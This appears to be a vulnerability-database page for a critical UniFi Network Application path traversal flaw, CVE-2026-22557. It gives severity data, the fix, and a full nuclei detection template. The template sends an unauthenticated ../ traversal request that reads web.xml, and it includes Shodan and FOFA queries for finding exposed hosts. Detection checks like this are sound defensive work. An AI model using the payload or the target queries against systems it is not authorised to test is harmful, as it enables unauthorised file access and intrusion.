HexBrain

Browse / CVEs / CVE-2026-22557

CVE-2026-22557· ui / unifi network application· CWE-22

UniFi Network Application - Path Traversal

criticalseverity
10CVSS score
28.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.

Impact

Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.

Fix

Update to the latest version of UniFi Network Application.

How to confirm it

Send: GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml
Positive when: contains_all(body, "<servlet>","<web-app") and contains(content_type, "application/xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-22557 -u <target>

The full check
id: CVE-2026-22557

info:
  name: UniFi Network Application - Path Traversal
  author: Aryu-RU
  severity: critical
  description: |
    UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.
  impact: |
    Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.
  remediation: |
    Update to the latest version of UniFi Network Application.
  reference:
    - https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b
    - https://github.com/ThePotatoOfDoom/CVE-2026-22557-PoC
    - https://www.cycognito.com/blog/emerging-threat-ubiquiti-unifi-network-application-path-traversal-cve-2026-22557/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-22557
    epss-score: 0.28665
    epss-percentile: 0.98155
    cwe-id: CWE-22
    cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ui
    product: unifi_network_application
    shodan-query: http.title:"UniFi Network"
    fofa-query: title="UniFi Network"
  tags: cve,cve2026,unifi,ubnt,lfi,traversal,unauth

http:
  - raw:
      - |
        GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/guest/s/default/?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55&ssid=test&url=http://example.com

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<servlet>","<web-app")'
          - 'contains(content_type, "application/xml")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from